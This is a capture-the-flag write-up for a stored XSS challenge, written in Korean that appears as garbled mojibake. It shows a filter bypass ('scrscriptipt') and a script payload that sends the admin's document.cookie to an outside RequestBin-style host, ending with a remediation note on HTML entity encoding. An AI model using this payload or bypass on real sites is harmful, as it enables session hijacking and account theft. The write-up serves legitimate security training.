[SegFault] (XSS)
XSS 4
๊ด๋ฆฌ์์ Cookie๋ฅผ ํ์ทจํ์ธ์!
๋ฌธ์ ํ์

๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ XSS์ ์ทจ์ฝ์ ์ ์ฐพ๊ณ , ๊ด๋ฆฌ์ Bot์ ํด๋น ๋งํฌ๋ฅผ ์ ๋ ฅํ์ฌ ๊ณต๊ฒฉ์ ์๋ฒ๋ก Cookie ๊ฐ์ ํ์ทจํ์ฌ ๋ฐ์ผ๋ฉด Flag๋ฅผ ํ๋ํ ์ ์๋ ๋ฐฉ์์ผ๋ก ์ด๋ฃจ์ด์ ธ ์๋ค.
ํ์ง๋ง ํ์ฌ ๊ณต๊ฒฉ์ ์๋ฒ๋ฅผ ๊ฐ๊ณ ์์ง ์์ผ๋ฏ๋ก RequestBin์ ์ด์ฉํ๊ธฐ๋ก ํ๋ค.
์ฐ์ ์์ [๊ด๋ฆฌ์ ๋ฐฉ๋ฌธ Bot Link]์ ์ ์ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ URL ์ ๋ ฅ์ฐฝ์ ๋ณผ ์ ์๋ค.

XSS ์ทจ์ฝ์ ์ ๋ฐ๊ฒฌํ๊ณ ํด๋น ๋งํฌ๋ฅผ ์์ URL์ ์ ๋ ฅํ๋ฉด ๊ณต๊ฒฉ์ ์๋ฒ(RequestBin)๋ก ์ฟ ํค ๊ฐ์ด ๋ ์์ค๋ ๋ฐฉ์์ด๋ค.
์ด์ ์๋์ ๋ฌธ์ ๋งํฌ์ ์ ์ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ ์ฐฝ์ด ๋์จ๋ค.

์ฐ์ ํ์๊ฐ์ ํ ๋ก๊ทธ์ธ์ ์๋ํด๋ณธ๋ค.

๋ง์ดํ์ด์ง์๋ XSS ์ทจ์ฝ์ ์ด ์๋ค๊ณ ํ๋จ๋์ด ๊ณต์ง์ฌํญ์ ํ์ธํด๋ณธ๋ค.

๊ฒ์ ๊ธฐ๋ฅ์ ๋ํด์๋ ์ทจ์ฝ์ ์ด ๋ฐ๊ฒฌ๋์ง ์์ ๊ธ์ฐ๊ธฐ๋ฅผ ์ด์ฉํ์ฌ ์คํฌ๋ฆฝํธ ์ฝ์ ๊ฐ๋ฅ ์ฌ๋ถ๋ฅผ ํ์ธํ๋ค.
XSS Point
์คํฌ๋ฆฝํธ์ ์ด์ฉ ๊ฐ๋ฅํ ํน์๋ฌธ์๋ฅผ ํ์ธํด๋ณด๊ธฐ ์ํด ๋ค์๊ณผ ๊ฐ์ด ์ ๋ ฅํ์ฌ ๊ธ์ ์์ฑํด๋ณธ๋ค.
< ' " >

์์ ๊ฐ์ด ๊ธ์ ์์ฑํ๊ณ ํ์ธํด๋ณธ๋ค.


์ด๋ฅผ Burp๋ฅผ ์ด์ฉํ์ฌ ํ์ธํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ด < ' " > ์ด ๊ทธ๋๋ก ์ถ๋ ฅ๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.

์ด์ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์ ๊ฐ๋ฅํ์ง ํ์ธํด๋ณด๊ธฐ ์ํด <script>๋ฅผ ์ ๋ ฅํ์ฌ ํ์ธํด๋ณธ๋ค.

์์ ๊ฐ์ด ๊ธ์ ์์ ํ ํ ํด๋น ๊ธ์ ์ ๊ทผํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ด script ๋ผ๋ ๋จ์ด๊ฐ ์ฌ๋ผ์ ธ์ ๋์ค๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.


์์ ๊ฐ์ด Burp๋ก ํ์ธํด๋ณธ ๊ฒฐ๊ณผ script๋ผ๋ ๋จ์ด ์์ฒด๊ฐ ๊ณต๋ฐฑ ๋ฌธ์๋ก ๋ณํ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์ด๋ฅผ ์ฐํํ๊ธฐ ์ํด script ๋ฌธ์ ์ฌ์ด์ script๋ผ๋ ๋จ์ด๋ฅผ ํ๋ฒ ๋ ๋ฃ์ด ํ์ธํด๋ณธ๋ค.
scrscriptipt

์์ ๊ฐ์ด ์์ฑ๋ ๊ธ์ ์ ๊ทผํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ด ์คํฌ๋ฆฝํธ๊ฐ ํ์ฑํ๋์ด ๋ด์ฉ์ด ๋ณด์ด์ง ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.


์์ ๊ฐ์ด ๊ธ์ ์ ๋ชฉ์ด๋ ๋ด์ฉ์ ์คํฌ๋ฆฝํธ๊ฐ ์ฝ์ ๊ฐ๋ฅํ ๊ฒ์ ํ์ธํ์๋ค.
ํ์ด ๊ณผ์ (ํด๊ฒฐ ๋ฐฉ์)
๊ธ์ ๋ด์ฉ์ ์ฝ์ ํ ์ฟ ํค ํ์ทจ๋ฅผ ์ํ ํ์ด๋ก๋(Payload)๋ฅผ ์์ฑํ๋ค.
ํ์ด๋ก๋ (Payload)
<scrscriptipt>
var cookieData = document.cookie;
var i = new Image();
i.src = "https://eneqijtbrtwyr.x.pipedream.net/?cookie="+cookieData;
</scrscriptipt>
์คํฌ๋ฆฝํธ ์ฝ์

์์ ๊ฐ์ด ๊ธ์ ๋ด์ฉ ๋ถ๋ถ์ ํด๋น ํ์ด๋ก๋(Paylaod)๋ฅผ ์ฝ์ ํด์ค๋ค.

ํด๋น ๊ธ์ ์ฝ๊ธฐ ์ํด ์ ๊ทผํ๋ ๊ฒฝ์ฐ์ ๋ด์ฉ ๋ถ๋ถ์ ์คํฌ๋ฆฝํธ๊ฐ ํ์ฑํ ๋์ด ํ๋ฉด์๋ ๋ด์ฉ์ด ์ถ๋ ฅ๋์ง ์์ง๋ง ์ ์ฅ๋์ด ์๋ ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.


ํด๋น ๊ธ์ URL์ ๊ด๋ฆฌ์ Bot์ ๋ณด๋ด์ค๋ค.

ํ์ทจ๋ ์ฟ ํค(Cookie)๊ฐ ๊ณต๊ฒฉ์์ ์ฃผ์(RequestBin)์ผ๋ก ๋ฐ์์ ์ง๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.

์์ ๊ฐ์ด ํด๋น ๊ธ์ ์ ๊ทผํ์ฌ ์คํฌ๋ฆฝํธ๊ฐ ํ์ฑํ๋์ด ์ํ๋ flag๊ฐ ํ๋๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์ทจ์ฝ์ ์ ๊ดํ ๊ณ ์ฐฐ
๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ ํน์ ๋ฌธ์์ ๋ํ ํํฐ๋ง์ด script์ ๊ฐ์ด ๋ถ์ด์๋ ํํ์ ํํ์ฌ ํ๋ฒ๋ง ์งํ๋์ด scrscriptipt์ ๊ฐ์ด ํํฐ๋ง ๋ฌธ์ ์ฌ์ด์ ํํฐ๋ง๋๋ ๋ฌธ์๋ฅผ ์ฝ์ ํ๋ ๊ฒฝ์ฐ ์ค๊ฐ์ ๋ฌธ์๋ง ๊ณต๋ฐฑ๋ฌธ์๋ก ๋ณํ๋๊ณ ์ ๋ค์ ๋ฌธ์๊ฐ ๋ถ์ด script ๋ผ๋ ๋จ์ด๊ฐ ๋ง๋ค์ด์ ธ ํํฐ๋ง์ ํจ๊ณผ๋ฅผ ์์คํ๋ ์ ์ ์ด์ฉํ๋ค.
์์ ํํฐ๋ง ์ฐํ๋ฅผ ํตํด ์๋ต(Response)์ ์์ฑ๋์ด ์๋ ์ ๋ชฉ๊ณผ ๋ด์ฉ์ด ๊ทธ๋๋ก ์ถ๋ ฅ๋๋ ์ ์ ์ด์ฉํ Stored XSS ์ทจ์ฝ์ ์ด๋ค.
์๋ชป๋ ํํฐ๋ง ๋ฐฉ์์ ์ฐํ๊ฐ ๊ฐ๋ฅํ๋ค๋ ๊ฒ์ ์ ์ ์๋ ๋ฌธ์ ์ด๋ค.
< ' " > ์ ๊ฐ์ ํน์๋ฌธ์์ ๊ฒฝ์ฐ HTML ํน์์ฝ๋(HTML Entity)๋ก ๋ณํํ์ฌ ์คํฌ๋ฆฝํธ ์คํ์ ์ํฅ์ ์ค ์ ์๋ ํ๊ทธ(tag)์ ํผ์ฉ๋๋ ๊ฒ์ ๋ฐฉ์งํ๊ธฐ ์ํด ๋ฌธ์์ด๋ก์๋ง ์ธ์๋๋๋ก ๊ตฌํํด์ผํ๋ค.
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์